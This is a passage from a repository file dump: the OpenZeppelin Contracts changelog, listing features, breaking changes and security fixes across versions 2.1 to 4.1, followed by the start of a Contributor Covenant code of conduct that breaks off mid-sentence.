primitive types to specific storage slots. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))\n * UUPS Proxies: add `UUPSUpgradeable` to implement the UUPS proxy pattern together with `EIP1967Proxy`. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))\n\n### Breaking changes\n\nThis release includes two small breaking changes in `TimelockController`.\n\n1. The `onlyRole` modifier in this contract was designed to let anyone through if the role was granted to `address(0)`,\n   allowing the possibility to to make a role \"open\", which can be used for `EXECUTOR_ROLE`. This modifier is now\n   replaced by `AccessControl.onlyRole`, which does not have this ability. The previous behavior was moved to the\n   modifier `TimelockController.onlyRoleOrOpenRole`.\n2. It was possible to make `PROPOSER_ROLE` an open role (as described in the previous item) if it was granted to\n   `address(0)`. This would affect the `schedule`, `scheduleBatch`, and `cancel` operations in `TimelockController`.\n   This ability was removed as it does not make sense to open up the `PROPOSER_ROLE` in the same way that it does for\n   `EXECUTOR_ROLE`.\n\n## 4.0.0 (2021-03-23)\n\n * Now targeting the 0.8.x line of Solidity compilers. For 0.6.x (resp 0.7.x) support, use version 3.4.0 (resp 3.4.0-solc-0.7) of OpenZeppelin.\n * `Context`: making `_msgData` return `bytes calldata` instead of `bytes memory` ([#2492](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2492))\n * `ERC20`: removed the `_setDecimals` function and the storage slot associated to decimals. ([#2502](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2502))\n * `Strings`: addition of a `toHexString` function.  ([#2504](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2504))\n * `EnumerableMap`: change implementation to optimize for `key → value` lookups instead of enumeration. ([#2518](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2518))\n * `GSN`: deprecate GSNv1 support in favor of upcoming support for GSNv2. ([#2521](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2521))\n * `ERC165`: remove uses of storage in the base ERC165 implementation. ERC165 based contracts now use storage-less virtual functions. Old behavior remains available in the `ERC165Storage` extension. ([#2505](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2505))\n * `Initializable`: make initializer check stricter during construction. ([#2531](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2531))\n * `ERC721`: remove enumerability of tokens from the base implementation. This feature is now provided separately through the `ERC721Enumerable` extension. ([#2511](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2511))\n * `AccessControl`: removed enumerability by default for a more lightweight contract. It is now opt-in through `AccessControlEnumerable`. ([#2512](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2512))\n * Meta Transactions: add `ERC2771Context` and a `MinimalForwarder` for meta-transactions. ([#2508](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2508))\n * Overall reorganization of the contract folder to improve clarity and discoverability. ([#2503](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2503))\n * `ERC20Capped`: optimize gas usage by enforcing the check directly in `_mint`. ([#2524](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2524))\n * Rename `UpgradeableProxy` to `ERC1967Proxy`. ([#2547](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2547))\n * `ERC777`: optimize the gas costs of the constructor. ([#2551](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2551))\n * `ERC721URIStorage`: add a new extension that implements the `_setTokenURI` behavior as it was available in 3.4.0. ([#2555](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2555))\n * `AccessControl`: added ERC165 interface detection. ([#2562](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2562))\n * `ERC1155`: make `uri` public so overloading function can call it using super. ([#2576](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2576))\n\n### Bug fixes for beta releases\n\n * `AccessControlEnumerable`: Fixed `renounceRole` not updating enumerable set of addresses for a role. ([#2572](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2572))\n\n### How to upgrade from 3.x\n\nSince this version has moved a few contracts to different directories, users upgrading from a previous version will need to adjust their import statements. To make this easier, the package includes a script that will migrate import statements automatically. After upgrading to the latest version of the package, run:\n\n```\nnpx openzeppelin-contracts-migrate-imports\n```\n\nMake sure you're using git or another version control system to be able to recover from any potential error in our script.\n\n### How to upgrade from 4.0-beta.x\n\nSome further changes have been done between the different beta iterations. Transitions made during this period are configured in the `migrate-imports` script. Consequently, you can upgrade from any previous 4.0-beta.x version using the same script as described in the *How to upgrade from 3.x* section.\n\n## 3.4.2\n\n * `TimelockController`: Add additional isOperationReady check.\n\n## 3.4.1 (2021-03-03)\n\n * `ERC721`: made `_approve` an internal function (was private).\n\n## 3.4.0 (2021-02-02)\n\n * `BeaconProxy`: added new kind of proxy that allows simultaneous atomic upgrades. ([#2411](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2411))\n * `EIP712`: added helpers to verify EIP712 typed data signatures on chain. ([#2418](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2418))\n * `ERC20Permit`: added an implementation of the ERC20 permit extension for gasless token approvals. ([#2237](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237))\n * Presets: added token presets with preminted fixed supply `ERC20PresetFixedSupply` and `ERC777PresetFixedSupply`. ([#2399](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2399))\n * `Clones`: added a library for deploying EIP 1167 minimal proxies. ([#2449](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2449))\n * `Context`: moved from `contracts/GSN` to `contracts/utils`. ([#2453](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2453))\n * `PaymentSplitter`: replace usage of `.transfer()` with `Address.sendValue` for improved compatibility with smart wallets. ([#2455](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2455))\n * `UpgradeableProxy`: bubble revert reasons from initialization calls. ([#2454](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2454))\n * `SafeMath`: fix a memory allocation issue by adding new `SafeMath.tryOp(uint,uint)→(bool,uint)` functions. `SafeMath.op(uint,uint,string)→uint` are now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))\n * `EnumerableMap`: fix a memory allocation issue by adding new `EnumerableMap.tryGet(uint)→(bool,address)` functions. `EnumerableMap.get(uint)→string` is now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))\n * `ERC165Checker`: added batch `getSupportedInterfaces`. ([#2469](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2469))\n * `RefundEscrow`: `beneficiaryWithdraw` will forward all available gas to the beneficiary. ([#2480](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2480))\n * Many view and pure functions have been made virtual to customize them via overrides. In many cases this will not imply that other functions in the contract will automatically adapt to the overridden definitions. People who wish to override should consult the source code to understand the impact and if they need to override any additional functions to achieve the desired behavior.\n\n### Security Fixes\n\n * `ERC777`: fix potential reentrancy issues for custom extensions to `ERC777`. ([#2483](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483))\n\nIf you're using our implementation of ERC777 from version 3.3.0 or earlier, and you define a custom `_beforeTokenTransfer` function that writes to a storage variable, you may be vulnerable to a reentrancy attack. If you're affected and would like assistance please write to security@openzeppelin.com. [Read more in the pull request.](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483)\n\n## 3.3.0 (2020-11-26)\n\n * Now supports both Solidity 0.6 and 0.7. Compiling with solc 0.7 will result in warnings. Install the `solc-0.7` tag to compile without warnings.\n * `Address`: added `functionStaticCall`, similar to the existing `functionCall`. ([#2333](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2333))\n * `TimelockController`: added a contract to augment access control schemes with a delay. ([#2354](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2354))\n * `EnumerableSet`: added `Bytes32Set`, for sets of `bytes32`. ([#2395](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2395))\n\n## Upgradeable 3.2.0 (2020-11-11)\n\n * First release of Upgradeable variant, replacing Ethereum Package variant which is now deprecated.\n\n## 3.2.2-solc-0.7 (2020-10-28)\n * Resolve warnings introduced by Solidity 0.7.4. ([#2396](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2396))\n\n## 3.2.1-solc-0.7 (2020-09-15)\n * `ERC777`: Remove a warning about function state visibility in Solidity 0.7. ([#2327](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2327))\n\n## 3.2.0 (2020-09-10)\n\n### New features\n * Proxies: added the proxy contracts from OpenZeppelin SDK. ([#2335](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2335))\n\n#### Proxy changes with respect to OpenZeppelin SDK\n\nAside from upgrading them from Solidity 0.5 to 0.6, we've changed a few minor things from the proxy contracts as they were found in OpenZeppelin SDK.\n\n- `UpgradeabilityProxy` was renamed to `UpgradeableProxy`.\n- `AdminUpgradeabilityProxy` was renamed to `TransparentUpgradeableProxy`.\n- `Proxy._willFallback` was renamed to `Proxy._beforeFallback`.\n- `UpgradeabilityProxy._setImplementation` and `AdminUpgradeabilityProxy._setAdmin` were made private.\n\n### Improvements\n * `Address.isContract`: switched from `extcodehash` to `extcodesize` for less gas usage. ([#2311](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2311))\n\n### Breaking changes\n * `ERC20Snapshot`: switched to using `_beforeTokenTransfer` hook instead of overriding ERC20 operations. ([#2312](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2312))\n\nThis small change in the way we implemented `ERC20Snapshot` may affect users who are combining this contract with\nother ERC20 flavors, since it no longer overrides `_transfer`, `_mint`, and `_burn`. This can result in having to remove Solidity `override(...)` specifiers in derived contracts for these functions, and to instead have to add it for `_beforeTokenTransfer`. See [Using Hooks](https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks) in the documentation.\n\n## 3.1.0 (2020-06-23)\n\n### New features\n * `SafeCast`: added functions to downcast signed integers (e.g. `toInt32`), improving usability of `SignedSafeMath`. ([#2243](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2243))\n * `functionCall`: new helpers that replicate Solidity's function call semantics, reducing the need to rely on `call`. ([#2264](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2264))\n * `ERC1155`: added support for a base implementation, non-standard extensions and a preset contract. ([#2014](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2014), [#2230](https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2230))\n\n### Improvements\n * `ReentrancyGuard`: reduced overhead of using the `nonReentrant` modifier. ([#2171](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2171))\n * `AccessControl`: added a `RoleAdminChanged` event to `_setAdminRole`. ([#2214](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2214))\n * Made all `public` functions in the token preset contracts `virtual`. ([#2257](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2257))\n\n### Deprecations\n * `SafeERC20`: deprecated `safeApprove`. ([#2268](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2268))\n\n## 3.0.2 (2020-06-08)\n\n### Improvements\n * Added SPX license identifier to all contracts. ([#2235](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2235))\n\n## 3.0.1 (2020-04-27)\n\n### Bugfixes\n * `ERC777`: fixed the `_approve` internal function not validating some of their arguments for non-zero addresses. ([#2213](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2213))\n\n## 3.0.0 (2020-04-20)\n\n### New features\n * `AccessControl`: new contract for managing permissions in a system, replacement for `Ownable` and `Roles`. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))\n * `SafeCast`: new functions to convert to and from signed and unsigned values: `toUint256` and `toInt256`. ([#2123](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2123))\n * `EnumerableMap`: a new data structure for key-value pairs (like `mapping`) that can be iterated over. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))\n\n### Breaking changes\n * `ERC721`: `burn(owner, tokenId)` was removed, use `burn(tokenId)` instead. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))\n * `ERC721`: `_checkOnERC721Received` was removed. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))\n * `ERC721`: `_transferFrom` and `_safeTransferFrom` were renamed to `_transfer` and `_safeTransfer`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))\n * `Ownable`: removed `_transferOwnership`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))\n * `PullPayment`, `Escrow`: `withdrawWithGas` was removed. The old `withdraw` function now forwards all gas. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))\n * `Roles` was removed, use `AccessControl` as a replacement. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))\n * `ECDSA`: when receiving an invalid signature, `recover` now reverts instead of returning the zero address. ([#2114](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2114))\n * `Create2`: added an `amount` argument to `deploy` for contracts with `payable` constructors. ([#2117](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2117))\n * `Pausable`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `Strings`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `Counters`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `SignedSafeMath`: moved to the `math` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `ERC20Snapshot`: moved to the `token/ERC20` directory. `snapshot` was changed into an `internal` function. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))\n * `Ownable`: moved to the `access` directory. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `Ownable`: removed `isOwner`. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `Secondary`: removed from the library, use `Ownable` instead. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `Escrow`, `ConditionalEscrow`, `RefundEscrow`: these now use `Ownable` instead of `Secondary`, their external API changed accordingly. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))\n * `ERC20`: removed `_burnFrom`. ([#2119](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2119))\n * `Address`: removed `toPayable`, use `payable(address)` instead. ([#2133](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2133))\n * `ERC777`: `_send`, `_mint` and `_burn` now use the caller as the operator. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))\n * `ERC777`: removed `_callsTokensToSend` and `_callTokensReceived`. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))\n * `EnumerableSet`: renamed `get` to `at`. ([#2151](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2151))\n * `ERC165Checker`: functions no longer have a leading underscore. ([#2150](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2150))\n * `ERC721Metadata`, `ERC721Enumerable`: these contracts were removed, and their functionality merged into `ERC721`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))\n * `ERC721`: added a constructor for `name` and `symbol`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))\n * `ERC20Detailed`: this contract was removed and its functionality merged into `ERC20`. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))\n * `ERC20`: added a constructor for `name` and `symbol`. `decimals` now defaults to 18. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))\n * `Strings`: renamed `fromUint256` to `toString` ([#2188](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2188))\n\n## 2.5.1 (2020-04-24)\n\n### Bugfixes\n * `ERC777`: fixed the `_send` and `_approve` internal functions not validating some of their arguments for non-zero addresses. ([#2212](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2212))\n\n## 2.5.0 (2020-02-04)\n\n### New features\n * `SafeCast.toUintXX`: new library for integer downcasting, which allows for safe operation on smaller types (e.g. `uint32`) when combined with `SafeMath`. ([#1926](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1926))\n * `ERC721Metadata`: added `baseURI`, which can be used for dramatic gas savings when all token URIs share a prefix (e.g. `http://api.myapp.com/tokens/<id>`). ([#1970](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1970))\n * `EnumerableSet`: new library for storing enumerable sets of values. Only `AddressSet` is supported in this release. ([#2061](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/2061))\n * `Create2`: simple library to make usage of the `CREATE2` opcode easier. ([#1744](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1744))\n\n### Improvements\n * `ERC777`: `_burn` is now internal, providing more flexibility and making it easier to create tokens that deflate. ([#1908](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1908))\n * `ReentrancyGuard`: greatly improved gas efficiency by using the net gas metering mechanism introduced in the Istanbul hardfork. ([#1992](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1992), [#1996](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1996))\n * `ERC777`: improve extensibility by making `_send` and related functions `internal`. ([#2027](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2027))\n * `ERC721`: improved revert reason when transferring tokens to a non-recipient contract. ([#2018](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2018))\n\n### Breaking changes\n * `ERC165Checker` now requires a minimum Solidity compiler version of 0.5.10. ([#1829](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1829))\n\n## 2.4.0 (2019-10-29)\n\n### New features\n * `Address.toPayable`: added a helper to convert between address types without having to resort to low-level casting. ([#1773](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1773))\n * Facilities to make metatransaction-enabled contracts through the Gas Station Network. ([#1844](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1844))\n * `Address.sendValue`: added a replacement to Solidity's `transfer`, removing the fixed gas stipend. ([#1962](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1962))\n * Added replacement for functions that don't forward all gas (which have been deprecated): ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))\n   * `PullPayment.withdrawPaymentsWithGas(address payable payee)`\n   * `Escrow.withdrawWithGas(address payable payee)`\n * `SafeMath`: added support for custom error messages to `sub`, `div` and `mod` functions. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))\n\n### Improvements\n * `Address.isContract`: switched from `extcodesize` to `extcodehash` for less gas usage. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))\n * `ERC20` and `ERC777` updated to throw custom errors on subtraction overflows. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))\n\n### Deprecations\n * Deprecated functions that don't forward all gas: ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))\n   * `PullPayment.withdrawPayments(address payable payee)`\n   * `Escrow.withdraw(address payable payee)`\n\n### Breaking changes\n * `Address` now requires a minimum Solidity compiler version of 0.5.5. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))\n * `SignatureBouncer` has been removed from drafts, both to avoid confusions with the GSN and `GSNRecipientSignature` (previously called `GSNBouncerSignature`) and because the API was not very clear. ([#1879](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1879))\n\n### How to upgrade from 2.4.0-beta\n\nThe final 2.4.0 release includes a refactor of the GSN contracts that will be a breaking change for 2.4.0-beta users.\n\n * The default empty implementations of `_preRelayedCall` and `_postRelayedCall` were removed and must now be explicitly implemented always in custom recipients. If your custom recipient didn't include an implementation, you can provide an empty one.\n * `GSNRecipient`, `GSNBouncerBase`, and `GSNContext` were all merged into `GSNRecipient`.\n * `GSNBouncerSignature` and `GSNBouncerERC20Fee` were renamed to `GSNRecipientSignature` and `GSNRecipientERC20Fee`.\n * It is no longer necessary to inherit from `GSNRecipient` when using `GSNRecipientSignature` and `GSNRecipientERC20Fee`.\n\nFor example, a contract using `GSNBouncerSignature` would have to be changed in the following way.\n\n```diff\n-contract MyDapp is GSNRecipient, GSNBouncerSignature {\n+contract MyDapp is GSNRecipientSignature {\n```\n\nRefer to the table below to adjust your inheritance list.\n\n| 2.4.0-beta                         | 2.4.0                        |\n| ---------------------------------- | ---------------------------- |\n| `GSNRecipient, GSNBouncerSignature`| `GSNRecipientSignature`      |\n| `GSNRecipient, GSNBouncerERC20Fee` | `GSNRecipientERC20Fee`       |\n| `GSNBouncerBase`                   | `GSNRecipient`               |\n\n## 2.3.0 (2019-05-27)\n\n### New features\n * `ERC1820`: added support for interacting with the [ERC1820](https://eips.ethereum.org/EIPS/eip-1820) registry contract (`IERC1820Registry`), as well as base contracts that can be registered as implementers there. ([#1677](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1677))\n * `ERC777`: support for the [ERC777 token](https://eips.ethereum.org/EIPS/eip-777), which has multiple improvements over `ERC20` (but is backwards compatible with it) such as built-in burning, a more  straightforward permission system, and optional sender and receiver hooks on transfer (mandatory for contracts!). ([#1684](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1684))\n * All contracts now have revert reason strings, which give insight into error conditions, and help debug failing transactions. ([#1704](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1704))\n\n### Improvements\n * Reverted the Solidity version bump done in v2.2.0, setting the minimum compiler version to v0.5.0, to prevent unexpected build breakage. Users are encouraged however to stay on top of new compiler releases, which usually include bugfixes. ([#1729](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1729))\n\n### Bugfixes\n * `PostDeliveryCrowdsale`: some validations where skipped when paired with other crowdsale flavors, such as `AllowanceCrowdsale`, or `MintableCrowdsale` and `ERC20Capped`, which could cause buyers to not be able to claim their purchased tokens. ([#1721](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1721))\n * `ERC20._transfer`: the `from` argument was allowed to be the zero address, so it was possible to internally trigger a transfer of 0 tokens from the zero address. This address is not a valid destinatary of transfers, nor can it give or receive allowance, so this behavior was inconsistent. It now reverts. ([#1752](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1752))\n\n## 2.2.0 (2019-03-14)\n\n### New features\n * `ERC20Snapshot`: create snapshots on demand of the token balances and total supply, to later retrieve and e.g. calculate dividends at a past time. ([#1617](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1617))\n * `SafeERC20`: `ERC20` contracts with no return value (i.e. that revert on failure) are now supported. ([#1655](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1655))\n * `ERC20`: added internal `_approve(address owner, address spender, uint256 value)`, allowing derived contracts to set the allowance of arbitrary accounts. ([#1609](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1609))\n * `ERC20Metadata`: added internal `_setTokenURI(string memory tokenURI)`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))\n * `TimedCrowdsale`: added internal `_extendTime(uint256 newClosingTime)` as well as `TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime)` event allowing to extend the crowdsale, as long as it hasn't already closed.\n\n### Improvements\n * Upgraded the minimum compiler version to v0.5.2: this removes many Solidity warnings that were false positives. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))\n * `ECDSA`: `recover` no longer accepts malleable signatures (those using upper-range values for `s`, or 0/1 for `v`). ([#1622](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1622))\n * ``ERC721``'s transfers are now more gas efficient due to removal of unnecessary `SafeMath` calls. ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))\n * Fixed variable shadowing issues. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))\n\n### Bugfixes\n * (minor) `SafeERC20`: `safeApprove` wasn't properly checking for a zero allowance when attempting to set a non-zero allowance. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))\n\n### Breaking changes in drafts\n * `TokenMetadata` has been renamed to `ERC20Metadata`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))\n * The library `Counter` has been renamed to `Counters` and its API has been improved. See an example in `ERC721`, lines [17](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L17) and [204](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L204). ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))\n\n## 2.1.3 (2019-02-26)\n * Backported `SafeERC20.safeApprove` bugfix. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))\n\n## 2.1.2 (2019-01-17)\n * Removed most of the test suite from the npm package, except `PublicRole.behavior.js`, which may be useful to users testing their own `Roles`.\n\n## 2.1.1 (2019-01-04)\n * Version bump to avoid conflict in the npm registry.\n\n## 2.1.0 (2019-01-04)\n\n### New features\n * Now targeting the 0.5.x line of Solidity compilers. For 0.4.24 support, use version 2.0 of OpenZeppelin.\n * `WhitelistCrowdsale`: a crowdsale where only whitelisted accounts (`WhitelistedRole`) can purchase tokens. Adding or removing accounts from the whitelist is done by whitelist admins (`WhitelistAdminRole`). Similar to the pre-2.0 `WhitelistedCrowdsale`. ([#1525](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1525), [#1589](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1589))\n * `RefundablePostDeliveryCrowdsale`: replacement for `RefundableCrowdsale` (deprecated, see below) where tokens are only granted once the crowdsale ends (if it meets its goal). ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))\n * `PausableCrowdsale`: allows for pausers (`PauserRole`) to pause token purchases. Other crowdsale operations (e.g. withdrawals and refunds, if applicable) are not affected. ([#832](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/832))\n * `ERC20`: `transferFrom` and `_burnFrom ` now emit `Approval` events, to represent the token's state comprehensively through events. ([#1524](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1524))\n * `ERC721`: added `_burn(uint256 tokenId)`, replacing the similar deprecated function (see below). ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))\n * `ERC721`: added `_tokensOfOwner(address owner)`, allowing to internally retrieve the array of an account's owned tokens. ([#1522](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1522))\n * Crowdsales: all constructors are now `public`, meaning it is not necessary to extend these contracts in order to deploy them. The exception is `FinalizableCrowdsale`, since it is meaningless unless extended. ([#1564](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1564))\n * `SignedSafeMath`: added overflow-safe operations for signed integers (`int256`). ([#1559](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1559), [#1588](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1588))\n\n### Improvements\n * The compiler version required by `Array` was behind the rest of the libray so it was updated to `v0.4.24`. ([#1553](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1553))\n * Now conforming to a 4-space indentation code style. ([1508](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1508))\n * `ERC20`: more gas efficient due to removed redundant `require`s. ([#1409](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1409))\n * `ERC721`: fixed a bug that prevented internal data structures from being properly cleaned, missing potential gas refunds. ([#1539](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1539) and [#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))\n * `ERC721`: general gas savings on `transferFrom`, `_mint` and `_burn`, due to redudant `require`s and `SSTORE`s. ([#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))\n\n### Bugfixes\n\n### Breaking changes\n\n### Deprecations\n * `ERC721._burn(address owner, uint256 tokenId)`: due to the `owner` parameter being unnecessary. ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))\n * `RefundableCrowdsale`: due to trading abuse potential on crowdsales that miss their goal. ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an 